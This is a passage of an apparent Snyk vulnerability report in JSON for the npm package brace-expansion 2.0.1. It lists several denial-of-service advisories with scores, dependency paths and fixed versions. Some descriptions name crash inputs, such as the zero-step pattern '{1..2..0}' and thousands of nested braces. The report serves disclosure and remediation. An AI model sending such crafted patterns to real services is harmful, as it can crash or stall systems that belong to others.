"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
